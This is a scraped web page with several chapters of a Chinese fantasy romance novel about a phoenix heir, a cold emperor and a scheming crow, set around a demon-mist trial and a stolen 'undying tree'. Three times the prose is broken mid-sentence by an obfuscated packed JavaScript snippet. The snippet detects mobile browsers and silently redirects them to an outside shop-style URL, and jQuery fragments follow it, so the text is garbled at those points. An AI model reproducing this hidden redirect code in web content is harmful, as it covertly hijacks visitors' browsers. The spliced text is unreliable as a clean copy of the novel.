谢清晏面色难看:“要是真让他养成了,这次可就麻烦大了。”
还好没有酿成大祸,不然……
不知是谁这么胆大包天,做出这种天诛地灭的事情,月殊气得牙根痒。
“回去之后,我会好好清理月宫上下。”
寂渊抬手,一道带着霜雪的灵光罩,倏然落下,罩在了吞吐着妖雾的灵树菇上。
这个雾核,本身没有长在什么凶悍的灵植上,所以来了这么久,也没有对他们发起攻击。
只是因为这里是妖雾的核心,雾气尤为浓重,在感知到危险的情况下,灵树菇吞吐雾气的速度明显变快了。
它在更快的汲取着所有灵植的力量,来养这棵树。
浓重粘稠得近乎形成实质的妖雾笼罩在众人头顶,体内的灵力流速都在这种压力之下停滞了,众人近乎有些喘不过气。
随着灵光罩落下,那些吞吐出的雾气都像是被隔绝了,没能逸散出半点。
众人顿感压力骤减。
寂渊淡声开口:“现在它的菌丝已经牢牢裹住树根,如果雾核破碎,倾泻而出的妖雾会瞬间灌入,不死树,就算养成了。”
寻常走到这一步,只要捏碎雾核,妖雾就会逐渐散去,清扫妖雾的任务也就完成了。
只是因为不死树的出现,这一步变得没那么简单。
“我先去分离菌丝,”月殊神情肃然,轻手轻脚地靠近了不死树,“在灵树菇察觉到不死树分离的瞬间,再捏碎雾核。”
郁离听得一头雾水。
她从前只知道不死树是传说中生长在昆仑墟里的神异之树。
外界关于昆仑墟的记载本就少,郁离也只在神话里听到过不死树的存在,却不知道不死树具体是什么。
但看他们如临大敌的模样,也知道,眼前这棵水晶琉璃似的树,十分危险。
而这东西还跑到了他们凤山的园圃里来。
“郁离,过来。”
听寂渊唤她,郁离下意识开口道:“这肯定不是羽族干的。”
寂渊奇怪地看她,淡声道:“嗯,知道。”
凤山长老院,还没胆子做这种事。
郁离解释了一通,见寂渊似乎没有问责羽族的意思,才好奇地凑近:“所以,现在是什么情况?”
昆仑墟是神陨之地,也是历代帝君的居所,里面不知有多少神异隐秘之物。
郁离的目光看向那一棵通身琉璃似的玉树。
传说里的不死树,竟然真的存在。
寂渊垂眸,见郁离的目光一闪一闪的,一脸的好奇,淡声解释:
“不死树,是上古大荒时就生长在昆仑墟的神树,月宫世代负责看守。”
郁离瞬间明白,月殊为什么一脸天都塌了的样子。
月宫世代看守的不死树弄丢了,可不是天都塌了。
寂渊目光沉沉,望着琉璃玉树的目光颇为冷淡,还带着隐隐的厌恶:
“不死树炼不成真正长生不死的灵药,只会把活物变成不生不死的怪物。上古那一场神陨之战,祸乱的根源就起于不死树。”
月殊和谢清晏都在吭哧吭哧地扒拉着菌丝,郁离一边听,一边让羽卫也去帮忙。
“曾有看守不死树的月宫族人,心生邪念,偷偷折下不死树上的一根树枝扦插,用禁术培育长成。”
“他养成的伪树很快失窃,被有心人利用,与十万妖鬼合体,制造出了一支悍不畏死的不死军团。”
上古,妖鬼之乱。
那一场祸乱,导致四海八荒诸神陨落,就连当时的帝君,也以身祭了山河,化作了深渊下的一道封印。
八荒神陨,从前强大的古神全都赴死,为了守卫八荒,也为了镇压这一场动乱。
这些上古史,郁离也曾学过,但她只知道妖鬼之乱祸起,却不知道祸根就是“不死树”。
在历史里,“不死树”的存在,仿佛都被刻意隐去了。
“所以……不死树出现在这里,意味着……”
寂渊点头,神情凝重:“这是死去的伪树,被灵树菇用生命力养着。”
“但这也代表着,有人窃走了不死树的树枝。”
郁离垂下眼睫,隐隐感到一种风雨欲来的沉闷,心情也有些沉
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627130|143549||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
重。
灵树菇似乎察觉到有人想要分开它与宝贝,不安地鼓动着,一波接一波地吞吐着雾气。
但在灵力罩的笼罩下,它吞吐的妖雾没有半分泄露,撞上灵力罩,发出滋滋的声响,仿佛被蒸发了一般。
月殊得以专心地分离不死树和菌丝。
整个过程又过去了许久,半晌之后,月殊才长舒出一口气,手掌贴在琉璃似的树干上,小心将它收进了药庐。
随着不死树消失在眼前,那一株被笼罩在灵力罩中的灵树菇刚要发作,就被一股危险至极的气机锁定。
原本只是禁锢的灵力罩,在瞬时压缩,陡然将它碾碎。
灰白色的雾核刚暴露在视野前,就在寂渊的手中碎成了飞灰。
“这群老狐狸,还算是明智,虽然不知道这里面有什么,察觉到危险就及时封锁了整个药圃,要不然……”谢清晏松了一口气。
“若没有帝君在,恐怕还是一场硬仗要打。”
寂渊的气息,能压制妖雾。
若是不能锁住妖雾,灵树菇直接孤注一掷,将所有的妖雾注入不死树,提前催化,整个半山园圃恐怕都会变成异变不死树的狩猎场。
月殊松了一口气:“还好凤山及时封锁,没有让妖雾进一步壮大。”
不然妖雾抽调更多的生命力养不死树
众羽卫看得睁大了眼:不是??
就这么碾碎了?
你们一点都不惊讶吗?怎么就开始事后聊天了!
这一切行云如流水,快得他们几乎都没有反应过来,那颗雾核就这样轻飘飘地被捏碎。
失去雾核后,整个妖雾内的空间风云变色,雾气翻腾,地面都带着隐隐翻覆的震颤。
妖雾很快就会散去,只是异化的植物不会立刻死去,还需要清扫。
几人已经准备离开,剩下的善后,就交给这次参与试炼的羽族。
在雾气翻腾中,郁离不知被什么东西撞了一下,身形晃了一下,又很快稳住了。
回神时,看见手上多出一个针扎似的伤口,冒出一颗血珠。
不怎么疼,郁离不甚在意地甩了甩手。
原本在看着某处的寂渊忽然回头,蹙眉看着她:“受伤了?”
郁离一怔,摇头:“没有,不知道被什么东西扎了一下。”
下一刻,手就落入了寂渊的手中,方才身上寂然的冷意还没有散去,他身上冷得吓人。
郁离被冻得缩了一下,想要抽回手,却没有抽回。
寂渊绷着脸,垂眸的神情却异常专注,一道灵流裹挟着清冽的气息席卷过伤口,洗掉上面令人不喜的气息。
“你问我,什么样的人脸上会出现腐化印记。”
寂渊说话时,眉眼带着几分漫不经心,动作却十足的细致小心,在郁离手上抹上不知名的浅绿色药膏,又用白色的缎带打了个结。
此时整个妖雾的形成的空间在崩坏,浓郁得像墨一样黑的雾气在散去,郁离站着的地方却始终稳稳当当,没有一丝摇晃。
他抬眼,淡声警告道:“像你这样在妖雾里受伤了,也不以为意的人。”
两人的距离靠得有些近,郁离近乎能感觉到寂渊说话时,颤动的气流。
郁离一愣,不知为何有些异样的感觉,继而扭过脸,闷声道:“你再晚点包扎,伤口都愈合了。”
8. 第八章
在暗处,一道阴影近乎与妖雾内沉沉的暗色融为一体。
青年苍白得有些异样的脸上泛起满足的两抹红晕。
原本饥饿难耐的身躯,因为这一滴鲜血的滋养,感到久违的满足。
他舔着唇角,眼底猩红一片,在暗处窥伺着那一道身影:“郁……离……”
眼底浓烈的痴迷与贪婪,近乎形成了粘稠的暗影,似要将人包裹。
但,那一道娇小的身影,很快被另一道更加高大颀长的身影盖住。
他看着那两道身影靠得极近,直到相贴,看到在苍白瘦弱的日影下,照出两人交叠的影子。
烛夜眼底的情绪一僵,眼前的一幕刺眼得有些扎人。
他几乎控制不住周身的戾气,浓重粘稠的戾气汹涌成雾,汹涌地想要扑上去将两人叠在一起的影子拆分开来。
但他什么都来不及做,那一道颀长的身躯就似有所觉一般,投来淡淡的一眼。
随之而来的,还有一道凛冽的云雷弧光!
紫电,裹挟着极度危险的气息,迅疾游曳而来,浓稠的妖雾都被着疾光闪电劈出一道裂缝,在地上炸开一个大坑。
郁离不知发生了什么,却能感觉到面前人的气息陡然变得莫名危险,她踮起脚,顺着寂渊的目光看去——
但那里什么都没有,只余下一道逐渐逸散的浅淡黑气。
“怎么了?”
“没事,只是有个脏东西。”
方才感知到一道令人生厌的注视,再看去又好像什么都没有,或许是感觉错了。
寂渊收回目光,让月殊过来帮郁离检查。
暗处,烛夜遁形数百米,躲在角落里,急促地喘息着,面部笼罩着一层阴云。
内心感到莫大的屈辱。
不过是情绪激烈之时,不慎泄露了一丝气息,竟然这么敏锐,在那一瞬间就被捕捉到了。
如果不是他逃得快……
烛夜感到一阵心悸,他此时才意识到,原来在小院里,他出手的那一次根本没动用几分力量。
就比如这一次,分明出手也是轻描淡写,但是那一瞬间悍然压过来的威压如同山岳,竟然差点把命留在这。
烛夜垂眼,看着手臂上被紫电擦过,留下的一片紫红淤痕,面色难看得要命:“该死……”
紫电缠绕着伤口,发出噼里啪啦灼烧着血肉的声音。钻心的痛苦深入骨髓,烛夜疼得面色发白。
这股力量,仿佛生来就能镇压他们这些妖邪,紫电触碰到的地方,萦绕在周身的黑气都变得稀薄。
伤口根本无法恢复,甚至还在恶化。
烛夜冷着脸,以掌成刃,毫不犹豫地切断了半条胳膊。
“我刚刚才修好的。”
不过是想去尝一口凤凰灵血的滋味,这具身躯就险些变得七零八落。
这一次为何处处不顺,所有人,所有事,处处都要跟他作对?
本来只是假装的伤势,此时也变成了十成十的伤。
他的脸上已经没有一丝血色,咽下喉咙里的腥甜,目光阴沉地盯上了在妖雾里扭曲的异植。
真恶心啊,让他只能像老鼠一样吃这些东西。
***
月殊被叫过来时,险些控制不住脸上的神情。
“帝君……”月殊深呼一口气,“伤口恐怕,已经愈合了吧?”
“她体质特殊,一旦受伤,伤口极难愈合。”寂渊目光沉沉地扫去。
月殊从善如流道:“帝君说的是,在妖雾里受的伤,如果迟迟不愈,容易被污秽之气感染。”
随着他这话一出,羽族众人也跟着一脸紧张地围了过来。
郁离:“……”
郁离也有些好奇,月殊能不能看出些什么。
月宫玉兔一脉,有一门特殊的秘法,能用来检查、治疗。
据说,在这一门秘法之下,四肢脏腑都仿佛透明,经脉肺腑之间的走势在玉兔眼底都一清二楚。
她在见到烛夜时,会有一些奇怪的反应,白雀医没发现什么问题,不知月殊能不能看出什么来。
月殊身为月宫少宫主,虽然年岁不大,却是玉兔一脉的翘楚,既擅毒经也擅医,四海闻名。
此时,他垂下眼,周身气息顿时沉静下来,像是进入了另一种玄之又玄的境界。
在彻底闭目之前,他看见郁离指头上包扎好的缎带,颇有些意外地掀了掀眼皮,惊讶地说了一句:“帝君包扎的手法竟然……”
竟然出乎意料地利落。
月殊不免带了些抱怨:“原来会包扎啊,从前受了伤从来也不管,都是放着等伤口自己愈合。”
“哪有这样的,也太不爱惜……”
郁离一怔,下意识去看寂渊的神情,他一脸神色平平,仿佛习以为常:“别啰嗦。”
“……”
月殊不说话了,闭上眼,整个人的气息都变得微妙而不可捕捉。
郁离望着手指上的缎带,有些出神,雪白的缎带在手指上绕了三圈,然后一个简单的结——
这是她唯一会打的一个结,也是在幼时,她教给寂渊的打法。
寂渊眉间疏淡,撑起的结界始终稳稳当当,周遭的一切都是晦暗的,黑雾翻涌而过,他一身雪练,寂然无声,像是山巅云雾般不可触摸。
在这混乱无序的世界里,他独身立于此,看起来竟很干净。
就像缠绕在指尖的雪色缎带。
但这是什么时候教的?
郁离蹙眉,记忆模模糊糊,竟然有些想不起来了。
“小女君怎么样了?”因为月殊迟迟不说话,白羽忍不住出声问道。
郁离因这一声思绪回笼,见月殊面色沉凝,压下思绪出声问道:“怎么了,有什么不妥?”
月殊抬眼看了一眼郁离的神色,又看了一眼自家帝君,目光游离,神情有些为难。
“有话就说。”寂渊淡淡看他。
“这……”月殊困惑地眯起眼,“我观女君,好像是……”
月殊迟疑着,生平头一次怀疑起自己是不是看走了眼,“好像是害了相思病。”
这病,跟他们帝君应该没什么关系吧?
“……”
郁离瞪大了眼。
??什么病?
月殊也觉得诊出的脉象十分奇怪,蹙眉喃喃道:“女君的脉象,是郁结于心,相思成疾。”
“的确是,相思病的症状。”
白羽无奈地捂住眼睛,咬牙切齿:“我就知道……”
那个该死的、下贱的、外面来的乌鸦,一脸的勾栏样式,勾引她们女君!
这才一天,竟然就害得他们女君……!
真是其心可诛!
白羽一脸愤愤,郁离一脸茫然,在一片寂静中,郁离听到一声意味不明的冷笑。
霁雪未消,寂渊雪发披肩,漫不经心地抬眼看她:“害了相思病?”
“一日不见,思之如狂。”寂渊冷冷抬眸,语调森寒,嘴角勾起一丝讽笑,眼底却不见半点笑影。
“思的是谁,不如让我见见,我也好为你们凤山送上一份贺礼。”
“一份贺礼”四个字,他咬得极重。
郁离深呼一口气:“你诊错了。”
“怎么可能呢?”
虽然她当时的症状确实古怪,但是她又不傻,怎么可能对一个连话都没说过的人念念不忘。
郁离抚着心口,自认在没有靠近那只寒鸦的时候,是没有那种古怪感觉的。
“要不你给你们帝君也看看,”郁离说,“我看他也很符合肝气郁结的症状。”
谢清晏差点没忍住笑,月殊的目光才投向帝君,冷冷如刀的目光就嗖地一下飞了过来。
他顿时不敢吭声,耷拉着兔耳装死。
寂渊身后是寂寂长夜,眼底晦暗不清:“是那只寒鸦?”
“谁也不是,”郁离憋气,眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627131|143549||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
底滑过一丝不自在,“都说是诊错了,你怎么还当真了。”
“凤山白雀医术不精,既然是错诊,不如把那寒鸦带回月宫当药人。”寂渊目色沉沉,指尖霜色冰刃环绕着流动,他抬眼淡笑,笑意不达眼底。
“经脉逆乱这样的伤,旁人奈何不了,月宫倒是有些法子,正好也给他们试试新药。”
下意识地,郁离开口拒绝:“不行!”
说完,郁离才意识到,自己的拒绝未免显得有些太急切了些。
倒像是真有什么一般。
“哦,一边说着不重要、不在意,不过是随手捡的,一边又宝贝似的要藏在凤山。”
“郁离,你真行。”
郁离抿着唇不说话,心里乱糟糟的一片,一时也不知该说些什么。
良久之后,妖雾几乎都散了个干净,露出清清朗朗的天空,此时似乎已经是第二日的清晨,薄暮冥冥,日光刚照出云层。
日光明亮,照在身上却没有温度。
郁离抬眼,心底烦闷,咬牙道:“总之,他不能离开凤山。”
“不过一只血脉驳杂,气息污秽的肮脏寒鸦……到底有什么特别的,让你这样放不下?”
郁离抿唇。
她总不能说,那只寒鸦在梦里,和她祭告过天地,又在成功结契的那一刻,把她捅了个对穿吧?
那或许不是梦,或许是她亲身经历的前世,也或许是对未来的预知。
郁离有些拿不准。
她还没有搞清楚,那究竟是个什么东西,怎么能就这样把他放出去。
看着郁离垂眸一脸回避的姿态,寂渊眸光渐冷。
她有心事。
且不愿意和他说。
想明白这一点,寂渊也彻底歇了说话的心思。
一行人沉默着出了妖雾。
月殊心里原本一直惦记着不死树的事,说的话有时也没太过脑子,现在后知后觉的反应过来,自己刚才说的话,好像闯了大祸。
一时更加不敢吭声。
生怕心绪不佳的帝君,再新仇旧账一起算到他的头上。
郁离进去的时候清清静静,这次出来,外面长老院几人却早早等在了外面,一脸欣喜。
“小女君,出来啦?”
“哎哟,小女君真是神勇啊,想必在妖雾里也是大杀四方吧?”有长老搓了搓手,“当然,当然,还是要多谢咱们帝君!”
“要是没有帝君出手,这妖雾一直放在凤山,咱们也不敢去碰,到时候也是一桩心事。”
长老们眼里放着异样的光,七嘴八舌地说着什么,郁离却无心去听。
忽然,她似乎感觉到某种异样的感觉,似有所觉地扭头——
看见了隐在人群后的黑衣青年,他面色苍白得过分,身形瘦弱得好似撑不起衣裳。
弱不经风似的,好似下一刻就会迎风咳血。
他也正注视着她,看见郁离投来的目光,青年缓缓地露出一个苍白虚弱的笑容。
嘴唇一张一合,无声对她道:“恭喜。”
……
两人目光对上的一刹那,耳畔传来碎冰相击的声音,沉沉地落在头顶。
“好看吗?”
寂渊顺着她的目光看去,看见了那一只本不应该出现在这里的寒鸦。
“他看起来就快死了,苟延残喘着也是折磨,不如我去送他一程。”
又在阴阳怪气。
郁离深呼一口气,按住他的手,仰脸看着他一字一顿地说道:“你别动他。”
少女浅金的眼底,以往总是带着许多情绪。
但从未像此刻一般,写满了火红的愤怒和不耐烦。
似被眼底明晃晃的情绪灼烧,寂渊眼底彻底没了温度,面上如同笼罩着寒云,他拨开郁离的手,退开半步。
两人之间,隔着数个人的距离。
寂渊收回视线,冷淡一笑,似是自嘲:“……随你。”
9. 第九章
长老们还带着些控制不住的欣喜,也不知发生了什么,就见为首的帝君面如寒山,化作一道寒光消失在眼前。
刚欲转脸找自家小女君说话,小女君寒着脸登上了鸾车,头也不回地走了。
一刻钟前心情还满是雀跃的长老们:“……”
发生什么了?
进去之前不还好好的
谢清晏干笑着,有预感等会回了昆仑墟,他们也没什么好果子吃。
月殊惦记着回去清查月宫上下,也急匆匆地走了。
最后还是谢清晏留了下来,把妖雾发现不死树的事情和长老们交代了一遍。
长老们的神情冷却下来,神情严肃:
“请帝君放心,当年发生的事情,凤山羽族一刻不敢忘记,这等东西,我羽族绝不会碰。”
“若有需要,凤山羽族听凭帝君差遣,一定配合四方殿调查。”
谢清晏望着天感慨:“恐怕要变天咯。”
“不过……你们凤山,瞒得可真严实啊,”谢清晏意味深长地看着他们,“若是当年赤水下暴乱,能得凤山女君相助,那一场也不会打得那么惨烈。”
长老们对视一眼,也是一脸茫然:“什么?”
见他们一脸懵,谢清晏从怀里摸出那一片金红的凤凰羽,洋洋洒洒夸赞了郁离在妖雾里发挥的巨大作用。
长老们先是沉默地听着。
继而:???
“……所以小女君没有在妖雾里大杀四方?”
谢清晏奇怪地看着他们:“女君没出过手。”
“那小女君疯狂滚动的积分是……”
长老忽然顿住,也意识到了,如果按照他们的说法——
这个榜单只会记录羽族,上面自然没有昆仑墟等人的积分。
所以,那些积分都算到了女君的头上。
原本怀抱着某种期望的长老们,目光顿时黯然下来。
“一开始我还以为是什么身份太过高贵,不会随意在人前出手这种设定,没想到哇……”
“没想到女君根本不用出手,就如此强悍!”
“要是赤水军能得女君助力,何愁不能三天把深渊里那群东西杀个干净!”
谢清晏亲身感受过那种过度使用力量之后,还分毫不会感觉到疲惫的感觉。
相反,他一直精神充沛,仿佛体内有取之不尽用之不竭的力量。
这种能力……
简直就是作弊啊!
要是放在军队中,他都不敢想。
谢清晏为自己从前对凤山小凤凰的轻视自罚三杯,同时对凤山这群老不死的大感意外。
羽族竟然藏了这么大个杀器。
难怪为了他们的小凤凰,几次愿意求到帝君面前。
长老呵呵干笑,心中却有些不以为然。
能让人不知疲倦般的战斗?还有这种事。
一听就有些夸大其词。
他们还是更希望,女君能不受桎梏,成长为一代战神,引领羽族走向辉煌。
只是增幅吗……听起来就不是很厉害。
谢清晏带着一脸钦佩的神色,拍拍屁股走了。
留下一地长老在风中凌乱。
他们一直以为……
凤山等了万年,才生出来的宝贝凤凰蛋,却不知什么缘故,时常遭受血脉反噬,因此修为不得寸进。
人人都说,凤山是走了大运,在这神灵凋敝的年代,还能拥有一只天生神脉的小凤凰。
但是他们愁啊。
就像人人都知道,凤山有一座金山,但却只有他们自己知道,凤山这座金山根本就不能开采!
神凤可是战神,凭借一己之力,就能横扫千军。可小女君根本不能动用力量,一旦使用力量,就会加速下一次反噬的到来。
自从发现这一点,长老们已经歇了靠着一个女君带他们羽族走上巅峰的心思。
只是这一次女君进入妖雾,竟然积分快速滚动到了顶端,令所有人望尘莫及,才让他们又生出了新的希望。
却没想到只是一个乌龙。
那些积分,其实都是昆仑墟几人组带来的。
长老院顿时又有些沮丧。
想到如今凤山还留下了一堆烂摊子,勉强打起精神来。
***
此次进入妖雾,里面不辨时间,实则已经过去了一天一夜,他们在里面没有片刻的休息。
郁离疲惫地靠在塌上,想着出来时看见的人,眉头狠狠一皱。
“白羽,他是什么时候出来的?”郁离想起那道目光,像是被什么阴湿的苔藓缠上了,难受得辗转反侧。
“他不是伤重得起不来床吗,怎么在外面乱逛?”
白羽刚回来,就听了看守那边院子的羽卫回禀,此时正要说:
“女君,那只寒鸦之前一直在屋里躺着,听外面人说,您要出来了,挣扎着起来要去看您。”
“前面几次给他看伤的白雀医都说,他这是重伤之躯,需要用许多珍贵灵材吊命,您没有发话,一直没有处理他的内伤。”
“前天吃了帝君一击,本来白雀医都说这人要救不活了,月宫那位少宫主用了些手段吊住了命。”
“说来也奇怪,今天突然就能下床好好地走动了。”
郁离蹙眉,心中烦得要命:“再叫人去看,看看他究竟是怎么回事。”
“另外,吩咐羽卫,不要再叫他出来了。”
话音未落,门外传来青年的声音:“寒鸦烛夜,求见女君。”
守在门口的羽卫不耐地驱赶道:“这里是梧桐宫,不是你该来的地方,赶紧走走走。”
“……”
白羽倒吸一口气,有些不安地看向自家女君。
郁离揉着眉心,梦里那些杂乱无章的画面一一闪过,樱色的唇被她抿得发白。
她攥着裙角,良久之后,呼出一口气,对着白羽说:“让他进来。”
“是。”
青年穿着一身朴素的黑衣,一头黑发随意地扎起,从门外走来时,背着天光,面色苍白得过分。
他停在不远处,行了一个标准的羽族觐见礼,声音不卑不亢:“寒鸦烛夜,多谢女君救命之恩。”
白羽警惕地望着他,郁离半晌没有说话,只是上下打量着他。
他只穿着一身单薄的黑衣,比起梧桐宫亮堂堂的一切,他整个人都显得毫不起眼,像是一粒落在梧桐宫上的尘埃。
可是他明明什么都没做,只是站在那,郁离就开始听到自己的心跳,不受控制地开始加速。
烛夜抬起脸,脸上带着几分恰到好处的感激,既不显得太过殷勤,又不至于显得太过凉薄。
“早就听闻,凤山女君的大名,如今一见,果然……”
“烛夜一介卑贱之躯,能得女君相救,这条命,就是死,”说着话,他的面上泛起一阵急促的薄红,按捺不住地低低咳嗽两声,接着道,“就是死,也值了。”
借着捂嘴咳嗽的动作,他的目光不动声色地扫过郁离的指尖。
——那里有他留下的印记。
但目光扫过,烛夜眼底却闪过一丝错愕。
那个地方,被一条雪色的缎带包裹,上面的气息,干干净净。
他留下的气息被清洗得干干净净,没有留下分毫,反而被一种存在感极强的霜雪之气覆盖。
烛夜眼底阴鸷,险些控制不住心内一刹那涌起的妒恨。
郁离淡淡道:“哦,那你现在去死。”
“……”
烛夜错愕地抬头。
望进少女打量着她的眼神,眼神上上下下,像是在打量着一件器物一般,还带着隐隐的忌惮厌恶。
郁离站起身,金红的裙裾落在脚边,她微微抬头,神情散漫。
“都说你伤重得快死了,但我看你现在,能走,能跑,能瞒着人跑到这梧桐神木上。”
“你想必,很不想死。”
“并且……”郁离冷冷望着他,“想活得快疯了。”
硬生生受了寂渊一击,还能扛着伤重的躯体出来乱跑。
想必他的伤情,并不似他表现出来的这般严重。
烛夜的睫羽颤了颤,眼底有些困惑,总觉得事情,不该是这样。
“把他扔回去。”郁离道。
烛夜刚想要开口,就听到冷冷的一声,不必郁离多说第二句,当即便有训练有素的羽卫上来,拖拽着他往外走。
他想说什么,嘴巴却被眼疾手快的羽卫迅速堵住,半点声音都没有发出。
“让人盯着他,看看他想要做什么。”
郁离不耐道。
……
烛夜被人押送,像是押送什么脏东西一般,捆着他送回了他应该在的地方。
身上的伤口,又开始隐隐作痛。
他被人丢进了那个破败的小屋,木门毫不留情地在面前拍上,随之而来的,还有一道结界。
这是一个最常用的禁锢结界。
许进不能出。
对他来说,要从这样的结界里出去,易如反掌。
但这个结界落下,就像是一个巴掌,冷冷得甩在脸上。
送他过来的几人,眼底带着不加掩饰的嘲弄和讥讽。
“仗着有几分姿色,真把自己当盘菜了,这么不要脸地跑到女君面前去……”
“呸,不自量力。女君心善,把他捡回来,他倒好,癞蛤蟆想吃天鹅肉,竟然还敢自己跑到梧桐宫去。”
“要我说,女君就该直接把他丢到结界外面自生自灭,还带回来干什么?”
烛夜目光定定地望着门扉上流转的符文,听着几人的交谈,良久才
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627132|143549||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
收回木然的眼神。
如果此时有人推门进来,就能看见——
屋内的人无声无息地散成了黑雾,那一道黑雾,拉成瘦长的黑影,像是一道黑水一般,流淌到了地上。
***
郁离眼底流露出恹恹之色,心脏还在异样地鼓动着,无端让她心烦意乱。
这个时候她只想,让个人,这个东西,再也不要出现在自己面前。
她烦躁地垂眼,眼神落在缠在手指上的白色缎带上,目光一顿。
极端烦躁的内心,突然安静了一瞬。
……她忽然想起来了。
那是她跟寂渊的第一次见面。
那时,郁离刚出世不久的时候,就经历了一场极为严重的血脉反噬。
体内的凤凰神脉好像烧成了一团火,她疼得失去理智,有时化作原形在梧桐宫内横冲直撞,把自己撞得一身鲜血淋漓,连长老们都无法近身。
没有办法,大长老求到了昆仑墟那位少年帝君面前。
疼了三天三夜之后,郁离见到了那位从昆仑墟上下的,仿若霜雪雕骨而成的少年帝君。
郁离疼得迷迷糊糊,睁开一双泪眼,看见少年清隽的身影,不疾不徐走来。
看见他的第一眼,小凤凰本能地害怕他身上危险凌厉的气息,下意识往床脚缩了缩。
长老们很快离开,屋内就剩下小凤凰和这个第一次见面的少年。
原本郁离觉得这个少年身上气息,十分危险且令人忌惮。
但在血脉反噬发作时,她很快什么都不记得了。
体内好像被灌入了岩浆,四肢百骸都经历着灼烧的疼痛,她一会翻滚着喊热,一会又喊疼。
失去理智时,变作巨大的原形,在宫殿内横冲直撞,然后又跌跌撞撞地掉下来,有时候撞在床头,把自己撞得鲜血淋漓。
少年一直沉默不语,寂然无声看着她折腾,直到郁离累了,气喘吁吁地歪倒在床榻边。
她感知到陌生气息的靠近,睁开朦胧的泪眼,望见少年垂落的雪发,霜风不动的眼底,竟含着几分熹淡的笑影。
少年苍白修长的指尖撩起她被汗水浸湿的黑发,声音如同碎冰相撞:“……世间最后一只小凤凰。”
“真可怜。”
郁离不满他的态度,但她被血脉反噬折腾得没了力气,只能从喉咙里发出几声幼鸟般的啼鸣。
——恍若控诉。
少年留了下来。
她失去理智的时候越来越少,鲜少再不受控制地变回原形,大多数时候都只穿着一身单薄的寝衣,披散着头发坐在床头发呆。
她情况稍好的时候,会坐在梳妆镜前梳头,打理自己。
看不惯自己狼狈的模样,她有时艰难地替自己包扎伤口,却因为动作不得要领,总是把自己弄疼,发出嘶嘶的低呼。
坐在不远处的少年似乎被吵得不耐烦,走过来,站在旁边看着她的动作。
然后在郁离气得摔东西之前,接过了她手里的缎带,在她的伤口上,学着她的手法利落地打了一个结。
“真笨,这不就好了?”
郁离眼角还将落未落地挂着泪,看着很快被包扎好的伤口,愣住,然后打了个哭嗝。
在之后,郁离每次弄伤自己后,都会哒哒哒跑到他面前,理直气壮地伸出手,让他帮忙。
少年一开始的动作还有些生疏。
但渐渐地,他包扎的手法越发熟练,有时心情好,还能在小郁离的指挥下,帮她挽个简单的发髻。
郁离整个人都晕乎乎的,能维持清醒的时间不多,但在经历了最初难捱的十天之后,她度过了相对宁静的一段时日。
再醒来时,似乎因为记忆的自我保护机制,反噬发作时的许多事情,她都记不太清。
幼时少年的身影,在记忆里也变得模糊。
只记得,血脉反噬结束,她头上挽着简单的发髻,发间还簪了一朵新鲜的凤凰花。
长老们千恩万谢,一边称颂帝君的好脾气,一边感谢天道,没有真正绝了他们的路。
——天赐给他们这天下最后的一只小凤凰,却没有留下她的血脉亲族。
所幸,天地间,还有一个帝君,同样天生神脉。
不至于让小凤凰真的孤身一人。
过了很久,郁离才迟钝地反应过来:羽族向来最爱整洁,但她最狼狈的时候,都被他看去了。
郁离攥紧了指尖的小结,从前这些细节,她分明已经不记得了。
此时却又突然浮现在脑海中。
先前因为寒鸦出现而莫名鼓荡的心脏,莫名平息了下来,反而感到一种无名的涩然。
原来在别人口中那个高高在上、性情难以捉摸的帝君。
已经在她记忆混沌的时候,垂眸为她打了不知多少个这样的结。
10. 第十章
郁离有些坐不住,腾地从榻上坐了起来,拉开梳妆台下的抽屉,翻出来一面古朴的镜子。
这是四方殿研制出来的四方镜,昆仑墟出来的人几乎人手一面。
能在千里之外传音传讯,还能在公共区发布留言,比从前四海八荒常用的传音玉好用许多。
从前,寂渊也送了她一面。
只是凤山封闭守旧,大多还沿用以往的方式,郁离也没怎么用过。
郁离拿在手里翻来覆去,研究了半天,才重新让它亮起来。
镜面上,只有当时寂渊留下的一道气息,两人间的对话空空荡荡。
郁离只是突然想说点什么。
但是真打开了四方镜,却又不知道该说什么。
她抿唇坐在榻上,手指悬空,思来想去也不知道该怎么开头。
良久之后,她注入一道灵力,四个字像是水墨落入镜面,漾开一道波纹。
【缎带散了】
【你……】
水墨的字样浮现到一半,郁离咬着唇,这样算什么,太奇怪了。
他们刚刚闹得不欢而散,现在又突然去找他……
郁离从前鲜少有这样紧张的时候,生怕自己说的话不对,又生怕对面的人看了更生气。
上一次这样紧张忐忑的时候,还是自己忘记带课本去学宫,偷偷那话本垫在桌上当课本的时候。
既怕被先生发现,又感觉先生好像已经发现了。
犹豫许久,郁离自暴自弃一般地泄了一口气。
算了。
